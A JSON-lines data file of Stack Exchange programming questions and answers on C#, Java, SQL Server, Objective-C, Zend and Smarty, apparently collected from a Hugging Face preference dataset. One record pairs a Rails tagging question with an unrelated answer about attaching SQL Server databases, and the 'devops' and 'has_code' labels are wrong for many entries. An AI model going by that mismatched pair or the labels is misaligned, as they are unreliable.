{"id": "hf_dc2ea79d2198", "question": "<p>I have a base class vehicle and some children classes like car, motorbike etc.. inheriting from vehicle.\nIn each children class there is a function Go();\nnow I want to log information on every vehicle when the function Go() fires, and on that log I want to know which kind of vehicle did it.</p>\n\n<p>Example:</p>\n\n<pre><code>public class vehicle \n{\n      public void Go()\n      {\n           Log(\"vehicle X fired\");\n      }\n}\npublic class car : vehicle\n{\n       public void Go() : base()\n       {\n           // do something\n       }\n}\n</code></pre>\n\n<hr>\n\n<p>How can I know in the function Log that car called me during the base()?\nThanks,</p>\n\n<p>Omri</p>\n", "question_body": "", "answer": "Calling\n```\nGetType()\n```\nfrom Vehicle.Go() would work - but only if Go() was actually called.\nOne way of enforcing this is to use the\ntemplate method pattern\n:\n```\n```\npublic abstract class Vehicle \n{\n    public void Go()\n    {\n        Log(\"vehicle {0} fired\", GetType().Name);\n        GoImpl();\n    }\n\n    protected abstract void GoImpl();\n}\n\npublic class Car : Vehicle\n{\n    protected override void GoImpl()\n    {\n        // do something\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.626287"}
{"id": "hf_9c05a78aac44", "question": "<p>I'm compiling library for a private project, which depends on a number of libraries. Specifically one of the dependencies is compiled with Fortran. On some instances, I've seen the dependency compiled with <code>g77</code>, on others I've seen it compiled with <code>gfortran</code>. My project then is <code>./configure</code>'d to link with either <code>-lg2c</code> or <code>-lgfortran</code>, but so far I've been doing it by hand.</p>\n\n<p>If it is possible, how can I find out, from looking into the dependent library (via e.g. <code>nm</code> or some other utility?), whether the used compiler was <code>g77</code> (and then I'll use <code>-lg2c</code> in my link options) or <code>gfortran</code> (and then I'll use <code>-lgfortran</code>)?</p>\n\n<p>Thanks in advance!</p>\n", "question_body": "", "answer": "You might be able to figure it out by using nm, and seeing if the compiled code uses functions from one or the other, but that's quite a hack.  You may be able to figure it out based on which library is available (if there's no libg2c available, then it wasn't g77, for example), but then you still have some ambiguity if both are available.  If you can build the dependency yourself, then you can use have one part of your build process tell another part somehow (variable, file, etc.) which one you used.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.699553"}
{"id": "hf_dc61a7f9584a", "question": "<p>I've built the x86 Boost libraries many times, but I can't seem to build x64 libraries. I start the \"Visual Studio 2005 x64 Cross Tools Command Prompt\" and run my usual build:</p>\n\n<pre><code>bjam --toolset=msvc --build-type=complete --build-dir=c:\\build install\n</code></pre>\n\n<p>But it still produces x86 .lib files (I verified this with dumpbin /headers).\nWhat am I doing wrong?</p>\n", "question_body": "", "answer": "You need to add the\n```\naddress-model=64\n```\nparameter.\nLook e.g.\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.768663"}
{"id": "hf_a63fc569f711", "question": "<p>I am having problems when connecting to my SQL server 2008 and think it might be a problem related to MDAC. Is there a download to re-install these?</p>\n", "question_body": "", "answer": "MDAC 2.8 SP1\nRemember, MDAC is client software that should not be installed on the server.\nYour problem is more likely a protocol or firewall error.\nCan you give more info please?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.861008"}
{"id": "hf_1ce962381f62", "question": "<p>does anybody know how to save and retrieve files in MS SQL-Server 2000?  I guess the image data type could be used as a container.</p>\n<p>I want to import/export the following file types: DOC, XLS, PDF, BMP, TIFF, etc.</p>\n<p>Due to resource issues we are using MS-Access 2007 as the front end, so I am looking for VBA code.</p>\n<p>Thanks in Advance.</p>\n", "question_body": "", "answer": "You can do this using GetChunk and AppendChunk.\nFrom\nthis post\nyou might find\nthis link\nhelpful!\nOne thing to watch out for:\nWhen using certain providers, most\n  notably ODBC to SQL Server and other\n  databases, you may have to take\n  special care in retrieving BLOB data,\n  such as placing BLOB columns at the\n  end of the field list and referencing\n  all non-BLOB fields prior to access\n  BLOB columns.\nBest of luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:55.895609"}
{"id": "hf_69181c337092", "question": "<p>A class has a property (and instance var) of type NSMutableArray with synthesized accessors (via <code>@property</code>). If you observe this array using:</p>\n\n<pre><code>[myObj addObserver:self forKeyPath:@\"theArray\" options:0 context:NULL];\n</code></pre>\n\n<p>And then insert an object in the array like this:</p>\n\n<pre><code>[myObj.theArray addObject:NSString.string];\n</code></pre>\n\n<p>An observeValueForKeyPath... notification is <strong>not</strong> sent. However, the following does send the proper notification:</p>\n\n<pre><code>[[myObj mutableArrayValueForKey:@\"theArray\"] addObject:NSString.string];\n</code></pre>\n\n<p>This is because <code>mutableArrayValueForKey</code> returns a proxy object that takes care of notifying observers.</p>\n\n<p>But shouldn't the synthesized accessors automatically return such a proxy object? What's the proper way to work around this--should I write a custom accessor that just invokes <code>[super mutableArrayValueForKey...]</code>?</p>\n", "question_body": "", "answer": "You need to wrap your\n```\naddObject:\n```\ncall in\n```\nwillChangeValueForKey:\n```\nand\n```\ndidChangeValueForKey:\n```\ncalls. As far as I know, there's no way for the NSMutableArray you're modifiying to know about any observers watching its owner.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.051081"}
{"id": "hf_9658a446b1b0", "question": "<p>I'm just starting out with WiX as I need to be able to automate building an MSI on our CI server.  Is there anyway to automatically include all the dependencies of a project?</p>\n", "question_body": "", "answer": "In my experience, Wix is a still a very manual process.  You have to add each dependency singly - I think the idea was that you would build the Wix installer at the same time you are building your project and add each item in as you are adding it in the code.  This way it seems less daunting than having to go back and do a retrospect on the project.  It certainly would be a great suggestion for an enhancement though!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.121552"}
{"id": "hf_bbb7a24023d3", "question": "<p>Somehow my iPhone Simulator is unable to play sounds.  First an app I'm working on using <code>AudioServicesPlaySystemSound()</code> stopped working.. I spent a while debugging this but sound is still working on the iPhone when I run the app on the device.  I get the same results with other iPhone apps such as the sample Crash Landing app.</p>\n\n<p>I can't find a sound setting anywhere in the simulator or Xcode preferences.  I've tried resetting the simulator through \"Reset Content and Settings\" menu item to no avail.</p>\n", "question_body": "", "answer": "I've found sound to be very inconsistent in the simulator (2.1 SDK).  Sometimes it works, sometimes it doesn't.  Even when it does work, it's usually very choppy and distorted (when playing audio files such as mp3).\nA few things to remember:\ncall\n```\nAudioSessionInitialize\n```\nas soon as your app finishes launching\nset the\n```\nkAudioSessionProperty_AudioCategory\n```\nproperty for the session via\n```\nAudioSessionSetProperty\n```\n(with a value such as\n```\nkAudioSessionCategory_MediaPlayback\n```\n)\ncall\n```\nAudioSessionSetActive(YES)\n```\nOf course when all else fails, just run it on your hardware!\nEDIT: Now that the 2.2 SDK has been released, I haven't had any problems with sound in the simulator. They must have fixed the bugs! I highly recommend you upgrade to the 2.2 SDK.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.159994"}
{"id": "hf_cb8d5003aed4", "question": "<p>Delphi strings use single quotes, for example '<code>a valid string</code>'. How does one specify the <code>'</code> character within a literal string? How would one refer to the null byte (Unicode code point <code>U+0000</code>)? </p>\n", "question_body": "", "answer": "To add a single quote to a string, you include two\n```\n'\n```\nmarks e.g.\n```\n```\nstr := '''test string''';\nWriteln(str)\n```\n```\nIn the string above, you have the normal single quotation to start a string and then two for the single quote. Same goes for the end of the string.\nYou can also use\n```\n#\n```\nfollowed by a number for other escape character e.g.\nFor a new line:\n```\n```\nstr := 'Newline' + #13 + #10\n```\n```\nor just\n```\n```\nstr := 'Newline'#13#10\n```\n```\nOf course, using the platform-dependent constant for newline is better.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.194867"}
{"id": "hf_7788127b153f", "question": "<p>I want to make my .Net application display a notification in the system tray. So I want to show an icon for that, can anyone tell how to do that?</p>\n", "question_body": "", "answer": "In .Net apps you can specify the file to use as an icon - it can be a bitmap or png etc. so just use your favourite image editing program to create you icon.\nThis\narticle\ngives advice on getting your app to put an icon in the system tray.\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.241543"}
{"id": "hf_2183a3a99ac8", "question": "<p>What's the most efficient way to calculate the last day of the prior quarter?</p>\n\n<p>Example:  given the date 11/19/2008, I want to return 9/30/2008.</p>\n\n<p>Platform is SQL Server </p>\n", "question_body": "", "answer": "I came up with this (tested for all months):\n```\n```\nselect dateadd(dd,-1,dateadd(qq,datediff(qq,0,'11/19/2008'),0)),\n       dateadd(dd,-1,dateadd(qq,datediff(qq,0,'10/19/2008'),0)),\n       dateadd(dd,-1,dateadd(qq,datediff(qq,0,'12/19/2008'),0))\n```\n```\nIt might turn out to be the simplest.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.311992"}
{"id": "hf_293f42a5a3a4", "question": "<p>About a half dozen times now, I’ve been doing a regular chore in Visual Studio – either running a unit test or simply compiling, updating something from SVN or whatever, and visual studio just disappears… it shuts down and goes away instantly… it is fine when I restart it, and I don’t see the problem again for a while… it keeps happening, and for random reasons… has anyone else experienced this?</p>\n\n<p>One thought is that i'm using AnkhSVN, but if you've had this problem and don't experience this, please let me know.</p>\n", "question_body": "", "answer": "All of the devs on my team see this problem quite often. It isn't AnkhSVN because we don't use it. I believe it is C++ intellisense, but that is just a feeling. Sometimes it happens when we are not doing anything. We will go for coffee, come back and it is just gone.\nIt never happens to me on smaller projects, but happens frequently on our large (several million lines, dozens of projects) solution with a mix of unmanaged C++, managed C++ and C#.\nWe have seen it less frequently since upgrading to SP1.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.335325"}
{"id": "hf_54834166e37d", "question": "<p>I am looking in the Collections framework of Java for a LIFO Structure (Stack) without any success. Basically I want a really simple stack; my perfect option would be a Deque, but I am in Java 1.5.</p>\n\n<p>I would like not to have to add another class to my structure but I am wondering if that is possible:</p>\n\n<ol>\n<li><p>Is there any class in the Collections framework (1.5) that does the job?</p></li>\n<li><p>If not, is there any way to turn a Queue in a LIFO Queue (aka Stack) without reimplementation?</p></li>\n<li><p>If not, which Interface or class should I extend for this task? I guess that keep the way that the guys of Sun have made with the Deque is a good start.</p></li>\n</ol>\n\n<p>Thanks a lot.</p>\n\n<p>EDIT: I forgot to say about the Stack class: I have my doubts about this class when I saw that it implements the Vector class, and the Vector class is a little bit obsolete, isn't it?</p>\n", "question_body": "", "answer": "There is a\nStack class in the API\n.  Will this meet your needs?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.370787"}
{"id": "hf_d679247c66b2", "question": "<p>This is a followup to <a href=\"https://stackoverflow.com/questions/284428/avoiding-property-itis-ie-overuse-of-properties-when-are-they-appropriate\">Avoiding @property-itis</a>.</p>\n\n<p>UIWebView has the following property declarations:</p>\n\n<pre><code>@property(nonatomic,readonly,getter=canGoBack) BOOL canGoBack;\n@property(nonatomic,readonly,getter=canGoForward) BOOL canGoForward;\n</code></pre>\n\n<p>UIScrollView has these:</p>\n\n<pre><code>@property(nonatomic) BOOL canCancelContentTouches;\n</code></pre>\n\n<p>Yet, UIResponder has </p>\n\n<pre><code>- (BOOL)isFirstResponder;\n- (BOOL)canBecomeFirstResponder;\n- (BOOL)canResignFirstResponder;\n</code></pre>\n\n<p>Is the UIResponder case one where they should have been declared as properties, but, for whatever reason, were not?</p>\n\n<p>Or is it a case where declaring them as properties was inappropriate? If inappropriate, why?</p>\n", "question_body": "", "answer": "My best guess is that UIResponder is meant to match NSResponder, which of course was designed before Objective-C 2.0 introduced properties. Why UIWebView doesn't do the same with regard to WebView, I don't know. I'd expect properties in Cocoa to be a little schizophrenic in this way for some time, and I wouldn't think into it too much when considering your own code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.440677"}
{"id": "hf_f4db37b20cd2", "question": "<p>Would it be benefical to add a generic way to add info to a Throwable without creating a new Throwable?</p>\n\n<p>I often see code like this:</p>\n\n<pre><code>try {\n    foo();\n} catch (Exception e) {\n    throw new Exception(e.getMessage() + \" extra info=\" + blah, e);\n}\n</code></pre>\n\n<p>Would it be better to instead add <code>Throwable.setProperty(String key, String value)</code> so that the code above becomes the following?</p>\n\n<pre><code>try {\n    foo();\n} catch(Exception e) {\n    e.setProperty(\"extra info\", blah);\n    throw e;\n}\n</code></pre>\n\n<p>The extra info could print (one per line) between the message and stack list.</p>\n\n<p>Benefits:\n 1. Would not require creating new <code>Throwable</code>s just to add extra information.\n 2. Stack traces would not have multiple layers of cause traces\n    (and therefore be easier to read)\n 3. Reduce cost of creating extra stack traces.</p>\n", "question_body": "", "answer": "In general, I think that it is better to use the standard idioms in cases like this. In this case, the standard idiom is to wrap the exception, like this:\n```\n```\ntry {\n  foo();\n} catch (Exception e) {\n  throw new MySpecificException(\"extra info=\" + blah, e);\n}\n```\n```\nAlso, in general it is best not to catch generic Exceptions. If you want to catch and add information to RuntimeException, then do that, and create a new RuntimeException. Otherwise, think carefully about which checked exceptions you want to catch and throw.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.532932"}
{"id": "hf_df1af4b5e9c4", "question": "<p>We need to get all the instances of objects that implement a given interface - can we do that, and if so how?</p>\n", "question_body": "", "answer": "I don't believe there is a way... You would have to either be able to walk the Heap, and examine every object there, or walk the stack of every active thread in the application process space, examining every stack reference variable on every thread...\nThe other way, (I am guessing you can't do) is intercept all Object creation activities (using a container approach) and keep a list of all objects in your application...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.556396"}
{"id": "hf_bb9d1ebe0eda", "question": "<p>I would like to use <code>ON DUPLICATE KEY UPDATE</code> in Zend Framework 1.5, is this possible?</p>\n\n<p>Example</p>\n\n<pre><code>INSERT INTO sometable (...)\nVALUES (...)\nON DUPLICATE KEY UPDATE ...\n</code></pre>\n", "question_body": "", "answer": "I worked for Zend and specifically worked on Zend_Db quite a bit.\nNo, there is no API support for the\n```\nON DUPLICATE KEY UPDATE\n```\nsyntax.  For this case, you must simply use\n```\nquery()\n```\nand form the complete SQL statement yourself.\nI do not recommend interpolating values into the SQL as harvejs shows.  Use query parameters.\nEdit: You can avoid repeating the parameters by using\n```\nVALUES()\n```\nexpressions.\n```\n```\n$sql = \"INSERT INTO sometable (id, col2, col3) VALUES (:id, :col2, :col3)\n  ON DUPLICATE KEY UPDATE col2 = VALUES(col2), col3 = VALUES(col3)\";\n\n$values = array(\"id\"=>1, \"col2\"=>327, \"col3\"=>\"active\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.590956"}
{"id": "hf_1a67b3eb0363", "question": "<p>I would like to serve a different content from a single URL depending on whether the user is a browser or a RSS reader (hence avoiding an example.com/feed URL). Thus www.example.com/posts will return an (X)HTML page to a browser and an RSS feed to a feed reader.</p>\n\n<p>What the architecturally most appropriate way of accomplishing this?</p>\n\n<p>PS How is that for a soft-ball question... :)</p>\n", "question_body": "", "answer": "Let me introduce you to the User-Agent\nHTTP header\n. It will contain an identifying string for the client accessing your page. It can be faked but you just can't be 100% sure if it's a RSS reader or a browser.\nAdditionally, RSS readers might send Accept headers for rss content-types, which you may use to implement\ncontent negotiation\n(\nMultiViews\nin Apache).\nBut as there is no sure fire way, you better fail on the side of serving HTML more often than RSS, or better yet, do as everybody else does and provide a different feed for RSS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.660847"}
{"id": "hf_4d3923de713f", "question": "<p>If it's harder to explain using words, let's look at an example\nI have a generic function like this</p>\n\n<pre><code>void FunctionA&lt;T&gt;() where T : Form, new()\n{\n}\n</code></pre>\n\n<p>If I have a reflected type, how do I use it with the above function? I'm looking forward to do this</p>\n\n<pre><code>Type a = Type.GetType(\"System.Windows.Forms.Form\");\nFunctionA&lt;a&gt;();\n</code></pre>\n\n<p>Of cause the above method doesn't work.</p>\n", "question_body": "", "answer": "You can't.  Generics in .NET must be resolved at compile time.  You're trying to do something that would resolve them at runtime.\nThe only thing you can do is to provide an overload for FunctionA that takes a type object.\nHmmm... the commenter is right.\n```\n```\nclass Program\n{\n    static void Main(string[] args)\n    {\n        var t = typeof(Foo);\n        var m = t.GetMethod(\"Bar\");\n        var hurr = m.MakeGenericMethod(typeof(string));\n        var foo = new Foo();\n        hurr.Invoke(foo, new string[]{\"lol\"});\n        Console.ReadLine();\n    }\n}\n\npublic class Foo\n{\n    public void Bar<T>(T instance)\n    {\n        Console.WriteLine(\"called \" + instance);\n    }\n}\n```\n```\nMakeGenericMethod\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.683857"}
{"id": "hf_ac9fedf20c5d", "question": "<p>How do I calculate the last business day of month in VBScript? It is for a Reporting Services report.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "If you mean the last\nweek\nday of the month (M-F), then try:\n```\n```\nDim d\n\nd = DateAdd(\"m\", 1, Now)\n\nd = Month(d) & \"/1/\" & Year(d)\nd = DateAdd(\"d\", -1, d)\n\nIf Weekday(d) = 7 Then\n    d = DateAdd(\"d\", -1, d)\nElseIf Weekday(d) = 1 Then\n    d = DateAdd(\"d\", -2, d)\nEnd If\n\nMsgBox d\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.741791"}
{"id": "hf_0e3b58dbbad4", "question": "<p>I've seen the following code to enable double buffering on a winform:</p>\n\n<pre><code>// Activates double buffering \nthis.SetStyle(ControlStyles.DoubleBuffer |\n   ControlStyles.OptimizedDoubleBuffer |\n   ControlStyles.UserPaint |\n   ControlStyles.AllPaintingInWmPaint, true);\nthis.UpdateStyles();\n</code></pre>\n\n<p>Is this different in any way from simply setting Form.DoubleBuffering = true?</p>\n", "question_body": "", "answer": "Setting a form's DoubleBuffering will set double buffering for that form. It's the same as calling\n```\n```\nform.SetStyle(ControlStyles.OptimizedDoubleBuffer, value);\n```\n```\nThe other flags like UserPaint and AllPaintingInWmPaint are styles that aren't set by simply setting control.DoubleBuffering = true", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.787945"}
{"id": "hf_5ab1a9b81945", "question": "<p>Can you recommend a minimalistic python webserver that I can embedded in my Desktop Application.</p>\n", "question_body": "", "answer": "See the\nWSGI reference\nimplementation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.810812"}
{"id": "hf_6865400f5bd0", "question": "<p>Given a java.util.Date object how do I go about finding what Quarter it's in?</p>\n\n<p>Assuming Q1 = Jan Feb Mar, Q2 = Apr, May, Jun, etc.</p>\n", "question_body": "", "answer": "Since Java 8, the quarter is accessible as a field using classes in the\njava.time\npackage.\n```\n```\nimport java.time.LocalDate;\nimport java.time.temporal.IsoFields;\n\nLocalDate myLocal = LocalDate.now();\nquarter = myLocal.get(IsoFields.QUARTER_OF_YEAR);\n```\n```\nIn older versions of Java, you could use:\n```\n```\nimport java.util.Date;\n\nDate myDate = new Date();\nint quarter = (myDate.getMonth() / 3) + 1;\n```\n```\nBe warned, though that\ngetMonth\nwas deprecated early on:\nAs of JDK version 1.1, replaced by Calendar.get(Calendar.MONTH).\nInstead you could use a\n```\nCalendar\n```\nobject like this:\n```\n```\nimport java.util.Calendar;\nimport java.util.GregorianCalendar;\n\nCalendar myCal = new GregorianCalendar();\nint quarter = (myCal.get(Calendar.MONTH) / 3) + 1;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.871885"}
{"id": "hf_fdd13f736c4e", "question": "<p>I have a sqlite3 table that I'm trying to map to an object in objective-C. One attribute of the table is 'completed_at' which is stored as a DATETIME.</p>\n\n<p>I want to create a property on my objective-C class (which inherits from NSObject) that will map well to the 'completed_at' attribute.</p>\n\n<p>Objective-C has an NSDate type but I'm not sure if that will map directly?</p>\n", "question_body": "", "answer": "I have zero experience with Objective-C, but I found Apple's\nNSDate Class Reference\nwith a google search. With the information provided on the linked page you should be able to figure out how to manipulate 32-bit epoch times in Objective-C, and this would work well in SQLite. I would probably create the completed_at column as type INTEGER for 32-bit times.\nSQLite really prefers Julian dates, which are floats. I haven't found any documentation explaining how one might coerce the NSDate class into working with Julians.\ntimeIntervalSince1970\nlooks very interesting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.906748"}
{"id": "hf_4d0cce0b2f8f", "question": "<p>I'm looking to have a simple custom dialog box, like a message box, that has a label and a TextBox. If there's a simple way to do this, sorry! I'm really not well versed in the dialog stuff. </p>\n\n<p>Thanks for any help, guys!</p>\n", "question_body": "", "answer": "I'm assuming you basically want a custom dialog box that returns a string entered by the user.  One way is to add a reference to Microsoft.VisualBasic to your project, which gives you access to the InputBox method, which is basically a message box with a text box on it.  But that's no fun and I'm not sure it would work on a smartphone anyway.\nTo roll your own, you just add a form (named CustomDialog) to your project and drag a textbox (textBox1), a label (label1), and a button (labeled \"OK\") onto it.\nTo set the label text, add a parameter to the form's constructor like this:\n```\n```\npublic CustomDialog(string textCaption)\n{\n    label1.Text = textCaption;\n}\n```\n```\nTo expose the entered text to the caller, add this code to the form:\n```\n```\npublic override string Text\n{\n    get\n    {\n        return textBox1.Text;\n    }\n}\n```\n```\nIn the OK button's click event, put this code:\n```\n```\nthis.DialogResult = DialogResult.OK; // this will close the form, too\n```\n```\nTo use this dialog from your main form, you create an instance of this form, show it, check to see that the OK button was clicked, and then read its Text property (which returns what the user entered) like so:\n```\n```\nusing (CustomDialog dialog = new CustomDialog(\"What is your name\"))\n{\n    if (dialog.ShowDialog(this) == DialogResult.OK)\n    {\n        string enteredText = dialog.Text;\n    }\n}\n```\n```\nYou can get fancier, but those are the basics.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.953255"}
{"id": "hf_87d3d13c0aa1", "question": "<p>I'm trying to move my database.mdf file from a development environment to a SQL Server Express server that is hosted on my VPS - but I can't figure out how to attach the file to my database server. Help!</p>\n", "question_body": "", "answer": "```\nsp_attach_db\n```\n(or CREATE DATABASE FOR ATTACH) - don't forget to bring the LDF (log) files, too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:56.988394"}
{"id": "hf_e9a2f7791751", "question": "<p>I'm having a weird problem, where tagging <strong>works fine on my development machine</strong>, but when I deploy to the production server, I get this error in the log:</p>\n\n<pre><code>ActionView::TemplateError (undefined method `tags' for #&lt;Person:0x98bb9d4&gt;) on line...  \n</code></pre>\n\n<p>There is an entry in the production.log file that states that has_many_polymorphs is loaded, so it's not like the plugin isn't available on the production machine.</p>\n\n<p>My Google-fu has failed me trying to find the answer, so if anyone knows what could be wrong it would be greatly appreciated!</p>\n\n<p>Edit: I should have mentioned that on both production and development I'm using the same database. I downloaded the production one, and used it on the development machine and it works fine.</p>\n", "question_body": "", "answer": "```\nsp_attach_db\n```\n(or CREATE DATABASE FOR ATTACH) - don't forget to bring the LDF (log) files, too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.011245"}
{"id": "hf_e8f9602fa1f9", "question": "<p>What is the difference between </p>\n\n<pre><code>if(null==object)\n</code></pre>\n\n<p>and </p>\n\n<pre><code>if(object==null)\n</code></pre>\n\n<p>Please give the advantage for using the above.</p>\n", "question_body": "", "answer": "The difference comes if you accidentally type\n```\n=\n```\ninstead of\n```\n==\n```\n:\n```\nif (null = object)\n```\n- Compiler error\n```\nif (object = null)\n```\n- Bug!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.046303"}
{"id": "hf_7944307f218c", "question": "<p>I have the following string in the smarty (php templating system) variable $test:</p>\n\n<pre><code>&lt;img height=\"113\" width=\"150\" alt=\"Sunset\" src=\"/test.jpg\"/&gt;\n</code></pre>\n\n<p>I want to add \"em\" to the height and width like this:</p>\n\n<pre><code>{$test|replace:'\" w':'em\" w'|replace:'\" a':'em\" a'}\n</code></pre>\n\n<p>But this doesn't work... What's the problem and the solution?</p>\n", "question_body": "", "answer": "my regex isn't the greatest, or i'd give you a better matcher, but maybe using what you have through the regex replace would work.\n```\n```\n{$test|regex_replace:'/\".w/':'em\" w'|regex_replace:'/\".a/':'em\" a'}\n```\n```\nother matchers to try\n```\n```\n'/\\\".w/'\n'/\".*w/'\n'/\\\".*w/'\n```\n```\ni can't play with my smarty sites at the moment, but i'd first remove the \" from the replacement value, to see if the bug is there, then remove it from the matcher and just look for height/width.\notherwise i'd do the replace in PHP if you can.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.069734"}
